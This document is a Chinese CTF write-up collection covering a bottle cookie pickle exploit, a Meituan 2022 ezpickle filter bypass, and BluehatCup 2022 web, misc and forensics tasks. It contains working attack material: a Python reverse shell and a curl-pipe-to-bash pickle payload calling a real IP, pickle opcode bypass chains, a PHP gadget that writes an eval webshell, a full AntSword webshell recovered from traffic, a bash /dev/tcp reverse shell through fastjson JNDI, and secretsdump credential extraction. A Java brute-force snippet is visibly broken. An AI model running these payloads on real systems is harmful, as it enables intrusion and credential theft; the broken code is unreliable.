secret 知道了,这里显然需要用 bottle 伪造出来一个权限为 admin 的 session

image

但是并没有什么用 ...

这里实际上是一个 Pickle 反序列化,至于如何得知的我们就只能去审计源码了,跟进源码中调用的 bottle 的几种方法

这里看到 bottle request 的 get_cookie 方法

image

这里是它的 get_cookie 方法,这里可以看到一个 cookie_decode ,跟进

image

可以看到这里调用了 pickle.loads

再看一下 set_cookie 方法

image

可以看到,这里和上面对应的有一个 cookie_encode 方法

image

可以看到,这里调用了 pickle.dumps(data, -1) 这里没有过滤,我们可以直接传入最简单的 __reduce__ 生成的 payload

        if secret:
            value = touni(cookie_encode((name, value), secret))

那么我们的 pickle 内容相应的也就存在了 (name, value) 也就额是 cookie_encode 的 data 参数

python3 反弹shell

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('47.104.14.160',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

或者用 curl 自己服务器的方式反弹 shell

exp:

import os
from bottle import cookie_encode

class Test:
    def __reduce__(self):
        return (eval, ('__import__("os").popen("curl http://47.104.14.160/shell.html|bash")',))
exp = cookie_encode(
    ('session', {"name": [Test()]}),
    "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
)
print(exp)

image

美团CTF 2022 ezpickle

import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex() #设置key为随机打乱的4位数字字母组合例如a8c3

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))#设置user为a,d,m,i,n任意拼接的五个字符,例如aadai,admmi...
    return 'Hello {}!'.format(session['user'])

@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

SECRET_KEY 很简单,爆破就好了,flask-unsign 可以利用字典爆破,我们可以写一个字典用工具爆破就可以了

过滤了操作码 R o i b,还有几个关键字,这里考虑使用 python 的内置函数来进行 bypass,这里用的是 map 函数 ,这里我们可以使用 bytes bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next 来触发迭代,具体的分析参照上面的 利用 python 内置函数绕过

#bytes.__new__(bytes,map.__new__(map,os.system,('whoami',)))

opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''

或者也可以使用 tuple 也就是 tuple_new_impl->PySequence_Tuple->PyIter_Next

opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''

pickle.loads(opcode)

或者我们也可以换一个内置函数,比如 filter

opcode=b'''c__builtin__
filter
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''

pickle.loads(opcode)

2022 BluehatCup Semi-Finals | Partly Writeup

Web

easyfatfree

扫出www.zip

直接审

image-20220804095330982

$this->write()

image-20220804095401625

\Base::instance()

image-20220804095431323

直接就能写马

<?php

namespace DB {

    class Jig {
        public $dir;
        public $data;
        public $lazy;
        public $format;
    }
}

namespace {

    $jig = new DB\Jig();
    $jig->lazy = True;
    $jig->dir = '/var/www/html/';
    $jig->data = ["shell.php" =>['<?php eval($_POST[a]); ?>']];
    $jig->format = 0;
    echo serialize($jig);
}

根目录不能写,换/ui/

image-20220804095525146

有disable_function

用蚁剑bypass

image-20220804095556257

onelinephp

非预期:

同之前国赛的一个题,flag放在了/etc/profile.d/pouchenv.sh/etc/instanceInfo

image-20220804124358948

直接cat

image-20220804124443276

预期解:

Misc

神秘的日志

看system日志,找到第一次使用ntlm的时间

image-20220804110851180

再从security日志中找到对应时间的登录日志,找最早的那个

image-20220804110950964

右键复制成文本才能看到TimeCreated SystemTime

<TimeCreated SystemTime="2022-04-17T03:27:06.7108313Z" />

image-20220804111131562

flag{dafd0428f634aefd1ddb26f8257c791f}

加密的通道

从http协议分析,可以找到如下代码

image-20220804145429831

解码后可以看到上传了个rsa.php

image-20220804145559703

但是rsa.php是被加密后的

phpjiami 数种解密方法 | 离别歌 (leavesongs.com)

这里采用手工dump法

image-20220804144121775

源码如下:

?><?php @eval("//Encode by  phpjiami.com,Free user."); ?><?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDieYmLtWbGRSvUtevSlTOozmWR
qEGF4Hfvb1YCoVYAAlhnHnyMk+aLRvLXKgmerWiS+QD6y08Ispuzzn02tHE6d4Qp
DuPiPO9PAdGSXzFVFLK2hOrkXLsDXugNTdVUprdkPPI1YY0ZnMs1bT2Zf2dfuBI5
0S5e5sSOF85kNq/zwwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
foreach($_POST as $k => $v){
  if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
     $_POST[$k]=$de;
}
}
eval($cmd); 

接下来流量重放即可

修改下代码,在本地起php环境

<?php @eval("//Encode by  phpjiami.com,Free user."); ?><?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDieYmLtWbGRSvUtevSlTOozmWR
qEGF4Hfvb1YCoVYAAlhnHnyMk+aLRvLXKgmerWiS+QD6y08Ispuzzn02tHE6d4Qp
DuPiPO9PAdGSXzFVFLK2hOrkXLsDXugNTdVUprdkPPI1YY0ZnMs1bT2Zf2dfuBI5
0S5e5sSOF85kNq/zwwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
foreach($_POST as $k => $v){
  if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
     $_POST[$k]=$de;
     echo $k.":::";
     var_dump($_POST[$k]);
}
}
var_dump($cmd);
// eval($cmd); 

最后一条流量显示出有flag.txt,于是看倒数第二条流量

重放解密

image-20220804145238363
image-20220804145249137

substr($_POST["k85c8f24ca50da"], 2)进行base64解码就是flag

image-20220804145325060

取证

手机取证_1

image.png

手机取证_2

image.png

exe_1

导入微步云沙箱

image.png

exe_2

导入微步云沙箱

image.png

exe_3

导入微步云沙箱

image.png

exe_4

image.png
image.png

挖矿

exe_5

导入微步云沙箱

image.png

apk2

image.png
image.png

apk3

image.png

apk反编译 发现loadUrl

apk5

反编译apk文件

image.png
image.png

apk7

MainActivity有几个分支代表有几个页面。

image.png

apk8

红星.ipa导出,解压,\123123123123213\Payload\0B5A51EA-18C7-4B3F-B1EF-1D48955CD71F\红星.app

image.png
image.png

apk12

image.png

apk13

image.png

安装软件,默认6661

apk15

image.png
image.png

2022 BluehatCup QUALS | Partly Writeup

MISC

domainhacker

提取流量中的压缩包

image.png

追踪TCP流,看一下shell

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split("/;|:/",$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)) {
            continue;
        }
        ;
        $tmdir=$item."/.c46a89a";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)) {
            continue;
        }
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\//",$tmdir);
        for ($i=0;$i<sizeof($cntarr);$i++) {
            @chdir("..");
        }
        ;
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    }
    ;
}
;
;
function asenc($out) {
    return $out;
}
;
function asoutput() {
    $output=ob_get_contents();
    ob_end_clean();
    echo "79c2"."0b92";
    echo @asenc($output);
    echo "b4e7e"."465b62";
}
ob_start();
try {
    $p=base64_decode(substr($_POST["yee092cda97a62"],2));
    $s=base64_decode(substr($_POST["q8fb9d4c082c11"],2));
    $envstr=@base64_decode(substr($_POST["p48a6d55fac1b1"],2));

    $d=dirname($_SERVER["SCRIPT_FILENAME"]);
    $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
    if(substr($d,0,1)=="/") {
        @putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if(!empty($envstr)) {
        $envarr=explode("|||asline|||", $envstr);
        foreach($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r="{$p} {$c}";
    function fe($f) {
        $d=explode(",",@ini_get("disable_functions"));
        if(empty($d)) {
            $d=array();
        } else {
            $d=array_map('trim',array_map('strtolower',$d));
        }
        return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
    }
    ;
    function runshellshock($d, $c) {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print($output);
                return True;
            }
        }
        return False;
    }
    ;
    function runcmd($c) {
        $ret=0;
        $d=dirname($_SERVER["SCRIPT_FILENAME"]);
        if(fe('system')) {
            @system($c,$ret);
        } elseif(fe('passthru')) {
            @passthru($c,$ret);
        } elseif(fe('shell_exec')) {
            print(@shell_exec($c));
        } elseif(fe('exec')) {
            @exec($c,$o,$ret);
            print(join("",$o));
        } elseif(fe('popen')) {
            $fp=@popen($c,'r');
            while(!@feof($fp)) {
                print(@fgets($fp,2048));
            }
            @pclose($fp);
        } elseif(fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while(!@feof($io[1])) {
                print(@fgets($io[1],2048));
            }
            while(!@feof($io[2])) {
                print(@fgets($io[2],2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif(fe('antsystem')) {
            @antsystem($c);
        } elseif(runshellshock($d, $c)) {
            return $ret;
        } elseif(substr($d,0,1)!="/" && @class_exists("COM")) {
            $w=new COM('WScript.shell');
            $e=$w->exec($c);
            $so=$e->StdOut();
            $ret.=$so->ReadAll();
            $se=$e->StdErr();
            $ret.=$se->ReadAll();
            print($ret);
        } else {
            $ret = 127;
        }
        return $ret;
    }
    ;
    $ret=@runcmd($r." 2>&1");
    print ($ret!=0)?"ret={$ret}":"";
    ;
}
catch(Exception $e) {
    echo "ERROR://".$e->getMessage();
}
;
asoutput();
die()

在TCP第13流发现压缩包密码,

image.png

image.png

解压以后发现是mimikatz记录,查看NTLM ,即为flag

image.png

flag{416f89c3a5deb1d398a1a1fce93862a7}

domainhacker2

在流量包提取压缩包密码:

image.png

image.png

解压以后,获得ntds.dit SYSTEM SECURITY文件,放到同一目录下然后用impacket进行解密

 python3 secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL -history

image.png

image.png

因为题目要求是之前的hash,所以要获取之前的hash值

flag{07ab403ab740c1540c378b0f5aaa4087}

WEB

Ez_gadget

参考链接:红队武器库:fastjson小于1.2.68全漏洞RCE利用exp (zeo.cool)

工具链接:https://toolaffix.oss-cn-beijing.aliyuncs.com/jndi_tool.jar

fastjson1.2.62 需要爆破key

脚本:

package baopo;
public class baopo{
    public static void main (String[] args){
        for (int i = 0;i < 999999999;i++){
            int key = String.valueOf(i).hashCode() ==key){
                System.out.pintln(i)
            }
        }
    }
}

8179E06F-B82B-D1DC-0A21-2B15A0D360F1.jpg

在自己服务器上启动服务

java -cp fastjson_tool.jar fastjson.HRMIServer x.x.x.x 8888 "bash=bash -i >&/dev/tcp/x.x.x.x/6666 0>&1"

但是黑名单过滤了\x,只需要unicode编码就可以绕过。要把rmi用unicode编码

FB225DDB-1F40-4148-32AC-B9440B19D669.jpg

DB9A3FF6-09F2-5295-C839-0E3C2A13546B.jpg

flag{e513e5cc-b3ba-4451-8027-6f213b4ffedf}

取证

手机取证_1

直接查找文件名,

image.png

导出查看:

image.png

360x360

手机取证_2

搜索关键字,在Skype中的群组有聊天记录:

image.png

计算机取证_1

PS D:\volatility_2.6_win64_standalone> ./volatility_2.6_win64_standalone.exe -f F:\2022bluecat\1.dmp --profile=Win7SP1x64 hashdump
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
taqi7:1000:aad3b435b51404eeaad3b435b51404ee:7f21caca5685f10d9e849cc84c340528:::
naizheng:1002:aad3b435b51404eeaad3b435b51404ee:d123b09e13b1a82277c3e3f0ca722060:::
qinai:1003:aad3b435b51404eeaad3b435b51404ee:1c333843181864a58156f3e9498fe905:::

image.png

anxinqi

计算机取证_2

利用取证大师工具集获取内存文件信息

image.png

image.png

2192

计算机分析_3

利用取证大师工具集获取bitlocker密钥文件

image.png

导出后对镜像进行解密,

image.png有两个Office文件,两个文档,其中pass.txt是密码集

先对word文档进行解密,可以采用手撕的方式,word文档密码是:688561

image.png没有其他信息,

看powerpoint文档,手撕密码:287fuweiuhfiute

image.png

计算机取证_4

加密文档采用了True_crypt加密,尝试利用取证大师工具集获取密钥文件进行解密,结果失败。

导出文件,Passware kit制作镜像

image.png

image.png

用取证大师加载新生成的文件

image.png

爆破压缩包密码:CHV@06KVAIP9YA8W5VTF.png

得到flag

image.png

程序分析_1

image.png

程序分析_2

image.png

程序分析_3

image.png

解密发现确实是服务器地址

image.png

程序分析_4

package d.a.a.c.a

1KV0@UW9L600WC60M9.jpg

进行跟踪

image.png

答案是a

网站取证_1

网站源码过一遍D盾就有

image.png

lanmaobei666

网站取证_2

数据库配置文件在

application\database.php

image.png

encrypt/encrypt.php查看一下,然后想办法输出出来:

<?php
$str = 'P3LMJ4uCbkFJ/RarywrCvA==';
$str = str_replace(array("/r/n", "/r", "/n"), "", $str);
$key = 'PanGuShi';
$iv = substr(sha1($key),0,16);
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,"",MCRYPT_MODE_CBC,"");
mcrypt_generic_init($td, "PanGuShi", $iv);
$decode = base64_decode($str);
$dencrypted = mdecrypt_generic($td, $decode);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
$dencrypted = trim($dencrypted);
echo $dencrypted;

遇到报错Call to undefined function: mcrypt_module_open()的话是PHP版本过高缺少一个dll文件,下载到php扩展目录下然后修改php.ini即可

image.png

网站取证_3

application\admin\controller目录下Channelorder.php就有

image.png

网站取证_4

对比bak.sql发现数据:

image.png

张宝 :3

王子豪 : 5

image.png

前面是收款人,后面是付款人,所以顺序就是5, 3

对4月2日至4月18日之中,符合付款顺序的记录进行提取

INSERT INTO "public"."tab_channel_order_list" VALUES (142, '943617668819', 'GG币', NULL, '2022-04-02 01:16:26', 5, 3, 'mZVymm9t');
INSERT INTO "public"."tab_channel_order_list" VALUES (144, '588047503620', 'GG币', NULL, '2022-04-02 01:47:16', 5, 3, 'lpxqlXFo');
INSERT INTO "public"."tab_channel_order_list" VALUES (150, '597613045539', 'GG币', NULL, '2022-04-02 02:32:02', 5, 3, 'l5xummto');
INSERT INTO "public"."tab_channel_order_list" VALUES (167, '368360644631', 'GG币', NULL, '2022-04-02 03:46:25', 5, 3, 'm5Zwm3Bn');
INSERT INTO "public"."tab_channel_order_list" VALUES (187, '704008760599', 'GG币', NULL, '2022-04-02 06:53:30', 5, 3, 'nJhtlGlm');
INSERT INTO "public"."tab_channel_order_list" VALUES (189, '695829830065', 'GG币', NULL, '2022-04-02 06:57:22', 5, 3, 'm5tpmGtm');
INSERT INTO "public"."tab_channel_order_list" VALUES (197, '689591506416', 'GG币', NULL, '2022-04-02 08:09:16', 5, 3, 'm5ptnGtu');
INSERT INTO "public"."tab_channel_order_list" VALUES (199, '296524099918', 'GG币', NULL, '2022-04-02 08:29:29', 5, 3, 'mZlym25r');
INSERT INTO "public"."tab_channel_order_list" VALUES (209, '202884729901', 'GG币', NULL, '2022-04-02 09:39:39', 5, 3, 'm5hpnHBu');
INSERT INTO "public"."tab_channel_order_list" VALUES (210, '955226714946', 'GG币', NULL, '2022-04-02 09:47:09', 5, 3, 'm5prlm9u');
INSERT INTO "public"."tab_channel_order_list" VALUES (227, '421623628935', 'GG币', NULL, '2022-04-02 12:33:01', 5, 3, 'nJlyl2hu');
INSERT INTO "public"."tab_channel_order_list" VALUES (245, '228102248133', 'GG币', NULL, '2022-04-02 15:05:53', 5, 3, 'lptummhs');
INSERT INTO "public"."tab_channel_order_list" VALUES (263, '279069782487', 'GG币', NULL, '2022-04-02 17:33:06', 5, 3, 'lpxrl21n');
INSERT INTO "public"."tab_channel_order_list" VALUES (317, '911539892864', 'GG币', NULL, '2022-04-03 00:44:48', 5, 3, 'mZRpnHBs');
INSERT INTO "public"."tab_channel_order_list" VALUES (358, '940690024660', 'GG币', NULL, '2022-04-03 06:12:18', 5, 3, 'mZpxm2lr');
INSERT INTO "public"."tab_channel_order_list" VALUES (371, '703759626723', 'GG币', NULL, '2022-04-03 08:02:01', 5, 3, 'm5dtmGls');
INSERT INTO "public"."tab_channel_order_list" VALUES (405, '250826052511', 'GG币', NULL, '2022-04-03 11:58:42', 5, 3, 'mpxvlnBv');
INSERT INTO "public"."tab_channel_order_list" VALUES (418, '699369204729', 'GG币', NULL, '2022-04-03 13:26:10', 5, 3, 'mJpynHBt');
INSERT INTO "public"."tab_channel_order_list" VALUES (441, '110783516494', 'GG币', NULL, '2022-04-03 17:08:54', 5, 3, 'nJZwm2lu');
INSERT INTO "public"."tab_channel_order_list" VALUES (448, '754012259548', 'GG币', NULL, '2022-04-03 17:41:43', 5, 3, 'mpdtnWxq');
INSERT INTO "public"."tab_channel_order_list" VALUES (452, '999734985528', 'GG币', NULL, '2022-04-03 18:54:29', 5, 3, 'nJdtlmpr');
INSERT INTO "public"."tab_channel_order_list" VALUES (457, '259291480194', 'GG币', NULL, '2022-04-03 20:24:01', 5, 3, 'mZtymHBm');
INSERT INTO "public"."tab_channel_order_list" VALUES (468, '672136643928', 'GG币', NULL, '2022-04-03 22:11:12', 5, 3, 'nJlslmpp');
INSERT INTO "public"."tab_channel_order_list" VALUES (486, '995091488940', 'GG币', NULL, '2022-04-04 00:49:53', 5, 3, 'l5RunW1p');
INSERT INTO "public"."tab_channel_order_list" VALUES (493, '369911062367', 'GG币', NULL, '2022-04-04 02:05:32', 5, 3, 'nJxplXFm');
INSERT INTO "public"."tab_channel_order_list" VALUES (494, '627743356329', 'GG币', NULL, '2022-04-04 02:14:49', 5, 3, 'lZdpmm1s');
INSERT INTO "public"."tab_channel_order_list" VALUES (496, '341907225040', 'GG币', NULL, '2022-04-04 02:21:29', 5, 3, 'mZZwnW9u');
INSERT INTO "public"."tab_channel_order_list" VALUES (541, '505274522158', 'GG币', NULL, '2022-04-04 09:38:59', 5, 3, 'mJVrmmhp');
INSERT INTO "public"."tab_channel_order_list" VALUES (558, '465727738353', 'GG币', NULL, '2022-04-04 11:36:57', 5, 3, 'lZZwl3Bs');
INSERT INTO "public"."tab_channel_order_list" VALUES (575, '801973338928', 'GG币', NULL, '2022-04-04 13:50:29', 5, 3, 'm5xvm2hm');
INSERT INTO "public"."tab_channel_order_list" VALUES (588, '990446771976', 'GG币', NULL, '2022-04-04 15:55:49', 5, 3, 'mpZslmpm');
INSERT INTO "public"."tab_channel_order_list" VALUES (595, '443752577679', 'GG币', NULL, '2022-04-04 17:12:14', 5, 3, 'mZtrnGtp');
INSERT INTO "public"."tab_channel_order_list" VALUES (598, '274195438646', 'GG币', NULL, '2022-04-04 17:52:24', 5, 3, 'lp1rm21t');
INSERT INTO "public"."tab_channel_order_list" VALUES (605, '389442476686', 'GG币', NULL, '2022-04-04 18:47:30', 5, 3, 'nJxplmtp');
INSERT INTO "public"."tab_channel_order_list" VALUES (651, '840764463035', 'GG币', NULL, '2022-04-05 01:50:13', 5, 3, 'l5twlXFq');
INSERT INTO "public"."tab_channel_order_list" VALUES (667, '575571956339', 'GG币', NULL, '2022-04-05 04:36:41', 5, 3, 'lphqmm9s');
INSERT INTO "public"."tab_channel_order_list" VALUES (693, '369199269150', 'GG币', NULL, '2022-04-05 07:36:54', 5, 3, 'm51wmG1q');
INSERT INTO "public"."tab_channel_order_list" VALUES (706, '299510640482', 'GG币', NULL, '2022-04-05 09:39:18', 5, 3, 'mJlxlWto');
INSERT INTO "public"."tab_channel_order_list" VALUES (731, '660695028585', 'GG币', NULL, '2022-04-05 13:44:39', 5, 3, 'lJ1vmXFq');
INSERT INTO "public"."tab_channel_order_list" VALUES (738, '856482910335', 'GG币', NULL, '2022-04-05 14:17:50', 5, 3, 'mpVpmW5r');
INSERT INTO "public"."tab_channel_order_list" VALUES (756, '750042176098', 'GG币', NULL, '2022-04-05 17:02:30', 5, 3, 'm5lrlGpr');
INSERT INTO "public"."tab_channel_order_list" VALUES (784, '651691106346', 'GG币', NULL, '2022-04-05 23:00:37', 5, 3, 'mpxplm9u');
INSERT INTO "public"."tab_channel_order_list" VALUES (786, '255787712926', 'GG币', NULL, '2022-04-05 23:14:45', 5, 3, 'lZpxnHFn');
INSERT INTO "public"."tab_channel_order_list" VALUES (791, '135691319557', 'GG币', NULL, '2022-04-06 00:05:58', 5, 3, 'nJdymWpm');
INSERT INTO "public"."tab_channel_order_list" VALUES (819, '788431214978', 'GG币', NULL, '2022-04-06 04:11:14', 5, 3, 'mJpum3Fo');
INSERT INTO "public"."tab_channel_order_list" VALUES (850, '851409238798', 'GG币', NULL, '2022-04-06 09:01:35', 5, 3, 'lpRrmWto');
INSERT INTO "public"."tab_channel_order_list" VALUES (873, '260951952586', 'GG币', NULL, '2022-04-06 12:48:13', 5, 3, 'lZtunXBv');
INSERT INTO "public"."tab_channel_order_list" VALUES (885, '231265027253', 'GG币', NULL, '2022-04-06 15:07:16', 5, 3, 'lpprnWtt');
INSERT INTO "public"."tab_channel_order_list" VALUES (930, '262701249039', 'GG币', NULL, '2022-04-06 21:47:06', 5, 3, 'lJdslnBr');
INSERT INTO "public"."tab_channel_order_list" VALUES (977, '184134048308', 'GG币', NULL, '2022-04-07 04:24:51', 5, 3, 'lJZrnWpm');
INSERT INTO "public"."tab_channel_order_list" VALUES (979, '391202213852', 'GG币', NULL, '2022-04-07 04:29:53', 5, 3, 'l5Zrm21m');
INSERT INTO "public"."tab_channel_order_list" VALUES (1004, '325182412061', 'GG币', NULL, '2022-04-07 08:23:24', 5, 3, 'lJdul2hm');
INSERT INTO "public"."tab_channel_order_list" VALUES (1009, '145997703051', 'GG币', NULL, '2022-04-07 08:52:54', 5, 3, 'mphylG9q');
INSERT INTO "public"."tab_channel_order_list" VALUES (1029, '812286624781', 'GG币', NULL, '2022-04-07 11:25:32', 5, 3, 'lZhpm2pp');
INSERT INTO "public"."tab_channel_order_list" VALUES (1051, '932860292032', 'GG币', NULL, '2022-04-07 15:30:43', 5, 3, 'lZ1qnW1s');
INSERT INTO "public"."tab_channel_order_list" VALUES (1074, '960800718320', 'GG币', NULL, '2022-04-07 18:13:02', 5, 3, 'nJ1tlHFp');
INSERT INTO "public"."tab_channel_order_list" VALUES (1079, '309703180719', 'GG币', NULL, '2022-04-07 18:34:31', 5, 3, 'mZxqm2tp');
INSERT INTO "public"."tab_channel_order_list" VALUES (1080, '867260227199', 'GG币', NULL, '2022-04-07 18:43:45', 5, 3, 'mZdsm21t');
INSERT INTO "public"."tab_channel_order_list" VALUES (1088, '489129121639', 'GG币', NULL, '2022-04-07 20:38:54', 5, 3, 'mpRvlG9o');
INSERT INTO "public"."tab_channel_order_list" VALUES (1094, '640176750934', 'GG币', NULL, '2022-04-07 21:18:54', 5, 3, 'mJVqlmhv');
INSERT INTO "public"."tab_channel_order_list" VALUES (1097, '271657786070', 'GG币', NULL, '2022-04-07 21:39:16', 5, 3, 'mJRwlHBq');
INSERT INTO "public"."tab_channel_order_list" VALUES (1119, '895632760061', 'GG币', NULL, '2022-04-08 00:14:36', 5, 3, 'l5dtmWtt');
INSERT INTO "public"."tab_channel_order_list" VALUES (1164, '291179495316', 'GG币', NULL, '2022-04-08 07:31:35', 5, 3, 'mZdylHFt');
INSERT INTO "public"."tab_channel_order_list" VALUES (1170, '588053366224', 'GG币', NULL, '2022-04-08 07:44:05', 5, 3, 'l5RqlWxn');
INSERT INTO "public"."tab_channel_order_list" VALUES (1171, '308892834659', 'GG币', NULL, '2022-04-08 07:50:45', 5, 3, 'mZ1um3Fs');
INSERT INTO "public"."tab_channel_order_list" VALUES (1181, '712419993689', 'GG币', NULL, '2022-04-08 08:43:06', 5, 3, 'lJ1rnWhu');
INSERT INTO "public"."tab_channel_order_list" VALUES (1185, '240497645432', 'GG币', NULL, '2022-04-08 09:19:05', 5, 3, 'm5pulWhv');
INSERT INTO "public"."tab_channel_order_list" VALUES (1193, '519564426335', 'GG币', NULL, '2022-04-08 09:57:45', 5, 3, 'lptrnW1u');
INSERT INTO "public"."tab_channel_order_list" VALUES (1218, '178274213935', 'GG币', NULL, '2022-04-08 13:23:04', 5, 3, 'm5xynWxn');
INSERT INTO "public"."tab_channel_order_list" VALUES (1243, '621845480580', 'GG币', NULL, '2022-04-08 16:30:05', 5, 3, 'lpRynGtr');
INSERT INTO "public"."tab_channel_order_list" VALUES (1246, '984927062919', 'GG币', NULL, '2022-04-08 17:09:06', 5, 3, 'mpxulGlm');
INSERT INTO "public"."tab_channel_order_list" VALUES (1255, '508590678286', 'GG币', NULL, '2022-04-08 18:22:27', 5, 3, 'nJdslm9r');
INSERT INTO "public"."tab_channel_order_list" VALUES (1261, '165679472688', 'GG币', NULL, '2022-04-08 19:09:09', 5, 3, 'lJhslHBq');
INSERT INTO "public"."tab_channel_order_list" VALUES (1272, '398566701812', 'GG币', NULL, '2022-04-08 22:03:28', 5, 3, 'nJpwnWhu');
INSERT INTO "public"."tab_channel_order_list" VALUES (1299, '391669188513', 'GG币', NULL, '2022-04-09 01:22:34', 5, 3, 'mptql2tv');
INSERT INTO "public"."tab_channel_order_list" VALUES (1328, '308977433705', 'GG币', NULL, '2022-04-09 06:27:14', 5, 3, 'l51xmmlp');
INSERT INTO "public"."tab_channel_order_list" VALUES (1347, '128173141307', 'GG币', NULL, '2022-04-09 08:52:54', 5, 3, 'mZVymXFn');
INSERT INTO "public"."tab_channel_order_list" VALUES (1375, '315017222711', 'GG币', NULL, '2022-04-09 14:06:48', 5, 3, 'lJhqnW5q');
INSERT INTO "public"."tab_channel_order_list" VALUES (1390, '698730100843', 'GG币', NULL, '2022-04-09 16:15:03', 5, 3, 'm5ppmGpr');
INSERT INTO "public"."tab_channel_order_list" VALUES (1394, '454661923665', 'GG币', NULL, '2022-04-09 16:45:28', 5, 3, 'mZlqm21t');
INSERT INTO "public"."tab_channel_order_list" VALUES (1446, '770844458971', 'GG币', NULL, '2022-04-09 23:54:25', 5, 3, 'mpZslWxt');
INSERT INTO "public"."tab_channel_order_list" VALUES (1461, '336049994728', 'GG币', NULL, '2022-04-10 01:28:10', 5, 3, 'mJ1pnHFm');
INSERT INTO "public"."tab_channel_order_list" VALUES (1503, '900217499326', 'GG币', NULL, '2022-04-10 08:16:00', 5, 3, 'l5drlXBp');
INSERT INTO "public"."tab_channel_order_list" VALUES (1515, '541334504409', 'GG币', NULL, '2022-04-10 10:10:06', 5, 3, 'mJlvmW1u');
INSERT INTO "public"."tab_channel_order_list" VALUES (1520, '296235199037', 'GG币', NULL, '2022-04-10 11:06:19', 5, 3, 'mZtxlG5t');
INSERT INTO "public"."tab_channel_order_list" VALUES (1522, '961454505603', 'GG币', NULL, '2022-04-10 11:21:05', 5, 3, 'nJtsnHFn');
INSERT INTO "public"."tab_channel_order_list" VALUES (1540, '660586887840', 'GG币', NULL, '2022-04-10 12:58:19', 5, 3, 'l5Rvm29o');
INSERT INTO "public"."tab_channel_order_list" VALUES (1542, '521373859771', 'GG币', NULL, '2022-04-10 13:02:35', 5, 3, 'm5xvlWxv');
INSERT INTO "public"."tab_channel_order_list" VALUES (1558, '690490467926', 'GG币', NULL, '2022-04-10 15:05:50', 5, 3, 'm5Zrl2xm');
INSERT INTO "public"."tab_channel_order_list" VALUES (1615, '915839175755', 'GG币', NULL, '2022-04-11 01:02:35', 5, 3, 'mZlwlG1u');
